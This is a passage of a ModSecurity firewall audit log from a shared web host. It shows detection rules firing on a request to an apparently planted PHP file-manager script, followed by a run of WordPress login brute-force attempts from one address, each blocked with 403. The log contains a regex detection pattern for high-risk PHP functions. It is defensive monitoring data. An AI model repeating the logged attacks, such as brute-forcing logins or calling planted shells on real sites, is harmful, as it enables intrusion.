X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--1b610c12-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1b610c12-H--
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDkPut1GUrjaX0wO44LAAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDkPut1GUrjaX0wO44LAAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313936263829 45064 (- - -)
Stopwatch2: 1789313936263829 45064; combined=40641, p1=335, p2=40211, p3=0, p4=0, p5=95, sr=127, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--1b610c12-Z--

--2bca420e-A--
[13/Sep/2026:18:38:56.642003 +0300] aqbDkPut1GUrjaX0wO44LwAAANM 134.185.87.66 43604 127.0.0.1 7081
--2bca420e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2bca420e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2bca420e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313936640317 1766 (- - -)
Stopwatch2: 1789313936640317 1766; combined=614, p1=284, p2=72, p3=0, p4=0, p5=258, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2bca420e-Z--

--10b04438-A--
[13/Sep/2026:18:38:57.025640 +0300] aqbDkfut1GUrjaX0wO44MwAAANE 134.185.87.66 43628 127.0.0.1 7081
--10b04438-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--10b04438-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--10b04438-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313937023987 1728 (- - -)
Stopwatch2: 1789313937023987 1728; combined=582, p1=299, p2=68, p3=0, p4=0, p5=215, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--10b04438-Z--

--eb4b5b1c-A--
[13/Sep/2026:18:38:57.409260 +0300] aqbDkRsbgHO3aGL3jiTwqwAAAAQ 134.185.87.66 43658 127.0.0.1 7081
--eb4b5b1c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 146
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--eb4b5b1c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--eb4b5b1c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313937406424 2950 (- - -)
Stopwatch2: 1789313937406424 2950; combined=1110, p1=538, p2=137, p3=0, p4=0, p5=435, sr=222, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--eb4b5b1c-Z--

--dac3252d-A--
[13/Sep/2026:18:38:57.791166 +0300] aqbDkUhjHs68UzErry1KuQAAAIo 134.185.87.66 43678 127.0.0.1 7081
--dac3252d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 122
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--dac3252d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dac3252d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313937789652 1569 (- - -)
Stopwatch2: 1789313937789652 1569; combined=492, p1=212, p2=66, p3=0, p4=0, p5=214, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dac3252d-Z--

--51daec6c-A--
[13/Sep/2026:18:38:58.172794 +0300] aqbDkldqBhgxDSpG7haLCgAAAE4 134.185.87.66 43704 127.0.0.1 7081
--51daec6c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 117
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--51daec6c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--51daec6c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313938168767 4121 (- - -)
Stopwatch2: 1789313938168767 4121; combined=1494, p1=343, p2=142, p3=0, p4=0, p5=1008, sr=144, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--51daec6c-Z--

--dd24075e-A--
[13/Sep/2026:18:38:58.567434 +0300] aqbDkvut1GUrjaX0wO44OAAAAMI 134.185.87.66 43718 127.0.0.1 7081
--dd24075e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--dd24075e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dd24075e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313938562861 4700 (- - -)
Stopwatch2: 1789313938562861 4700; combined=1434, p1=587, p2=220, p3=0, p4=0, p5=626, sr=235, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dd24075e-Z--

--cfb58747-A--
[13/Sep/2026:18:38:58.969911 +0300] aqbDkvut1GUrjaX0wO44OQAAAMk 134.185.87.66 43740 127.0.0.1 7081
--cfb58747-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--cfb58747-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--cfb58747-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313938966197 3788 (- - -)
Stopwatch2: 1789313938966197 3788; combined=1599, p1=1178, p2=121, p3=0, p4=0, p5=300, sr=147, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cfb58747-Z--

--95a4287f-A--
[13/Sep/2026:18:38:59.352728 +0300] aqbDk-ut1GUrjaX0wO44OwAAANY 134.185.87.66 43756 127.0.0.1 7081
--95a4287f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--95a4287f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--95a4287f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313939350704 2096 (- - -)
Stopwatch2: 1789313939350704 2096; combined=708, p1=276, p2=136, p3=0, p4=0, p5=295, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--95a4287f-Z--

--bdd7985a-A--
[13/Sep/2026:18:38:59.738233 +0300] aqbDk-ut1GUrjaX0wO44PQAAAM8 134.185.87.66 43780 127.0.0.1 7081
--bdd7985a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--bdd7985a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--bdd7985a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313939736745 1541 (- - -)
Stopwatch2: 1789313939736745 1541; combined=500, p1=234, p2=59, p3=0, p4=0, p5=207, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bdd7985a-Z--

--2d9f4340-A--
[13/Sep/2026:18:39:00.122679 +0300] aqbDlPut1GUrjaX0wO44PwAAAM0 134.185.87.66 43808 127.0.0.1 7081
--2d9f4340-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2d9f4340-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2d9f4340-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313940120554 2195 (- - -)
Stopwatch2: 1789313940120554 2195; combined=682, p1=326, p2=91, p3=0, p4=0, p5=264, sr=110, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2d9f4340-Z--

--7efe6e0e-A--
[13/Sep/2026:18:39:00.505592 +0300] aqbDlPut1GUrjaX0wO44QQAAAMM 134.185.87.66 43832 127.0.0.1 7081
--7efe6e0e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 118
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--7efe6e0e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7efe6e0e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313940503676 2001 (- - -)
Stopwatch2: 1789313940503676 2001; combined=574, p1=230, p2=78, p3=0, p4=0, p5=266, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7efe6e0e-Z--

--a085bc03-A--
[13/Sep/2026:18:39:00.887825 +0300] aqbDlPut1GUrjaX0wO44QwAAANA 134.185.87.66 43844 127.0.0.1 7081
--a085bc03-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 102
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--a085bc03-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a085bc03-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313940886084 1806 (- - -)
Stopwatch2: 1789313940886084 1806; combined=567, p1=229, p2=87, p3=0, p4=0, p5=251, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a085bc03-Z--

--5685f173-A--
[13/Sep/2026:18:39:01.270478 +0300] aqbDlRsbgHO3aGL3jiTwrAAAAAI 134.185.87.66 43856 127.0.0.1 7081
--5685f173-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 131
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5685f173-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5685f173-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313941268004 2552 (- - -)
Stopwatch2: 1789313941268004 2552; combined=770, p1=432, p2=106, p3=0, p4=0, p5=232, sr=141, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5685f173-Z--

--471a1c38-A--
[13/Sep/2026:18:39:01.681473 +0300] aqbDlfut1GUrjaX0wO44RgAAANI 134.185.87.66 43868 127.0.0.1 7081
--471a1c38-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--471a1c38-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
